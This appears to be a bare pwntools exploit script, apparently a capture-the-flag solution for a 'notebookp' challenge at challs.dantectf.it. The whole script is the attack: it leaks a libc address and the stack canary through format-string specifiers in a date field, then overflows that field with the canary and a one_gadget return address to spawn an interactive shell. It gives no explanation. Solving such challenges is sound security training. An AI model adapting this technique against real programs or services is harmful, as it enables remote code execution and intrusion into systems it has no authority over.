1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
p = remote('challs.dantectf.it', 31530) e = ELF('./notebookp') libc = ELF('./libc.so.6')
def add(idx, name, num, date): p.sendlineafter('>', str(1)) p.sendlineafter(':', str(idx)) p.sendlineafter(':', name) p.sendlineafter(':', str(num)) p.sendlineafter(':', date)
def remove(idx): p.sendlineafter('>', str(2)) p.sendlineafter(':', str(idx))
def edit(idx, name, num, date): p.sendlineafter('>', str(3)) p.sendlineafter(':', str(idx)) p.sendlineafter(':', name) p.sendlineafter(':', str(num)) p.sendlineafter(':', date)
def view(idx): p.sendlineafter('>', str(4)) p.sendlineafter(':', str(idx))
add(1, b'a'*31, 1 , b'aa/sss/%3$p') view(1)
p.recvuntil('/0x') libc.address = int(p.recv(12), 16) - 0x114a37 info('libc.address @ ' +hex(libc.address))
add(2, b'a'*31, 1, b"aa/sss/%9$p")
view(2) p.recvuntil('/0x') canary = int(p.recv(16), 16) info('canary @ ' +hex(canary))
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8] pause()
date = b'vv/vvv/1234' date += b'\x00' date += b'a'*(0x30-0x8-len(date)) date += p64(canary) date += p64(0) date += p64(libc.address + one_gadget[0])
add(3, b'a'*31, 1, date)
p.interactive()
|